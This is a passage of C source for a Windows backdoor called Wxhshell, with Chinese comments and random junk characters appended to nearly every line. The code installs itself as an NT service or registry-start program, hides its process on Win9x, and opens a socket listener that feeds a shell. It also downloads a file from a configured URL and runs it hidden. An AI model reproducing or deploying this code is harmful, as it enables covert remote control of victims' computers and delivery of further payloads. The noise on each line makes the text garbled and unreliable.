ULONG InheritedFromUniqueProcessId; }9fa]D-a?
} PROCESS_BASIC_INFORMATION; TKDG+`TyZ
4V+bE$Wu
PROCNTQSIP NtQueryInformationProcess; S=UuEmU5N
8w0~2-v.?V
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fLDrit4_Q
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +,Eam6g{
NoI|Dz
HANDLE hProcess; FQZ*i\G>>
PROCESS_BASIC_INFORMATION pbi; (5yM%H8:
\v2!5z8|
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "5hk%T'
if(NULL == hInst ) return 0; \]X.f&u
q
W(@p`
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d ^bSV4
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }3Es&p$9
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Rh="<'d
,.,8-In^
if (!NtQueryInformationProcess) return 0; &.A_d+K&
]J7qsMw
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x YS81
if(!hProcess) return 0; !<[+u
`+H=3`}X
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R5HT
EB
'xW=qboOp
CloseHandle(hProcess); E_,/)U8
8_Oeui(i
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J
En jc/
if(hProcess==NULL) return 0; yV^Yp=f_
DE(XSzX
HMODULE hMod; |#Gxqq'
char procName[255]; 3",gjXmBu
unsigned long cbNeeded; +R'8$
1XGg0SC
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pbMANZU[
fc#9e9R
CloseHandle(hProcess); %4~"$kE
pc`P;Eui
if(strstr(procName,"services")) return 1; // 以服务启动 $AK
^E6
DV5hTw0
return 0; // 注册表启动 C5 ~#lNC
} 7[ ovEE54
z'L0YqXG/
// 主模块 HE}0_x.
int StartWxhshell(LPSTR lpCmdLine) >S5J^c
{ XYcZ;Z 9:
SOCKET wsl; Mh%{cLM
BOOL val=TRUE; Tmg C {_
int port=0; ,np=m17
struct sockaddr_in door; u>>|ZPe
`YOYC
if(wscfg.ws_autoins) Install(); vC]X>P5 Px
6h9(u7(-N
port=atoi(lpCmdLine); H,>
}t
S
I;4quFBlMu
if(port<=0) port=wscfg.ws_port; {;$oC4
,%pCcM)
WSADATA data; @A[)\E1
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }*x1e_m}H
}dc0ZRKgx
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; F^l1WX6
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '54\!yQ<{
door.sin_family = AF_INET; `Vvi]>,cg`
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6,t6~Uo/
door.sin_port = htons(port); ^O}a,
c=sV"r?
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c>bns/f
closesocket(wsl); k_pv6YrE
return 1; {B+}LL!
} CW1l;uwtU
3lF"nv
if(listen(wsl,2) == INVALID_SOCKET) { #A)V
closesocket(wsl); Jm_)}dj3o
return 1; >LBA0ynh
{
} :1 +Aj
(
Wxhshell(wsl); t<rIg1
WSACleanup(); yY VR]H H
G)vNMl
return 0; Y"FV#<9@7E
"7cty\
} "#C2+SKM1
.IW`?9O$E
// 以NT服务方式启动 Vb,VN?l
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SaPE 1^}
{ ^50dF:V(1
DWORD status = 0; qzW3MlD
DWORD specificError = 0xfffffff; HXq']+iC
'5h`="
serviceStatus.dwServiceType = SERVICE_WIN32; NK|UeL7ght
serviceStatus.dwCurrentState = SERVICE_START_PENDING; xQsxc
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KZKE&bTx
serviceStatus.dwWin32ExitCode = 0; (?e%w}
serviceStatus.dwServiceSpecificExitCode = 0; FWbp;v{
serviceStatus.dwCheckPoint = 0; oSCaP,P
serviceStatus.dwWaitHint = 0; tSHW"R
x2!R&q8U>
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &%OY"Y~bI!
if (hServiceStatusHandle==0) return; ]-gyXE1.r
B4.:
9Od3
status = GetLastError(); }`qAb/Ov
if (status!=NO_ERROR) &ijz'Sg3
{ Mj@2=c
serviceStatus.dwCurrentState = SERVICE_STOPPED; wm~7`&
serviceStatus.dwCheckPoint = 0; G)amng/
serviceStatus.dwWaitHint = 0; c}(H*VY2n
serviceStatus.dwWin32ExitCode = status; f~VlCdf+
serviceStatus.dwServiceSpecificExitCode = specificError; &M13F>!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )]@h}K}
return; SwOW%o
} b~aM=71
ofB:7
serviceStatus.dwCurrentState = SERVICE_RUNNING; 9@|52dz%
serviceStatus.dwCheckPoint = 0; 2+9VDf2
serviceStatus.dwWaitHint = 0; wv9HiHz8gD
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `nF SJlr&
} w;lpJB\
?tLApy^`?
// 处理NT服务事件,比如:启动、停止 *2h%dT:,%
VOID WINAPI NTServiceHandler(DWORD fdwControl) i(4<MB1a
{ s|\)Y*B`
switch(fdwControl)
KQr+VQdq>
{ 0:V/z3?
case SERVICE_CONTROL_STOP: n\+c3
serviceStatus.dwWin32ExitCode = 0; p!pf2}6Fd
serviceStatus.dwCurrentState = SERVICE_STOPPED; 4p"' ox#
serviceStatus.dwCheckPoint = 0; neFwxS?
serviceStatus.dwWaitHint = 0; >ai,6!
{ flCT]ZR
SetServiceStatus(hServiceStatusHandle, &serviceStatus); n{gEIUo#
} JX&U?Z
return; +[G9PP6
case SERVICE_CONTROL_PAUSE: :9hGL
serviceStatus.dwCurrentState = SERVICE_PAUSED; ||:>&
break; QP\9#D~
case SERVICE_CONTROL_CONTINUE: /"X_{3dq?
serviceStatus.dwCurrentState = SERVICE_RUNNING; S>oEk3zlw
break; B<d=;V
case SERVICE_CONTROL_INTERROGATE: %5e|
break; bB$f=W!m%
}; {T8;-H0H
SetServiceStatus(hServiceStatusHandle, &serviceStatus); :qE.(k1@5
} ;+~5XLk
g}W`LIasv
// 标准应用程序主函数 &qbEF3p^@
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nI3p`N8j*
{ ]o'o
v
-_ 9k+AV
// 获取操作系统版本 33~MP;
OsIsNt=GetOsVer(); -m^-p
GetModuleFileName(NULL,ExeFile,MAX_PATH); FtTq*[a
S/E&&{`ls
// 从命令行安装 CQ2vFg3+o
if(strpbrk(lpCmdLine,"iI")) Install();
}#m9Q[
"}3sL#|z
// 下载执行文件 d`/8Q9tQ
if(wscfg.ws_downexe) { K+~?yOQj
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UV2W~g
WinExec(wscfg.ws_filenam,SW_HIDE); 1WtE ]
D
} 3S3 a|_+%
7{<v$g$
if(!OsIsNt) { Ts.2\-+3
// 如果时win9x,隐藏进程并且设置为注册表启动 :aOR@])>o
HideProc(); 6) i-S<(
StartWxhshell(lpCmdLine); fizW\f8ai
} ykC3Z<pI.
else '@Uu/~;h
if(StartFromService()) |YLja87
// 以服务方式启动 qiet<F
StartServiceCtrlDispatcher(DispatchTable); IT NFmD
else sV#%U%un
// 普通方式启动 ug,AvHEnB
StartWxhshell(lpCmdLine); !\#Wq{p>W*
-1dD~S$
return 0; uBts?02
}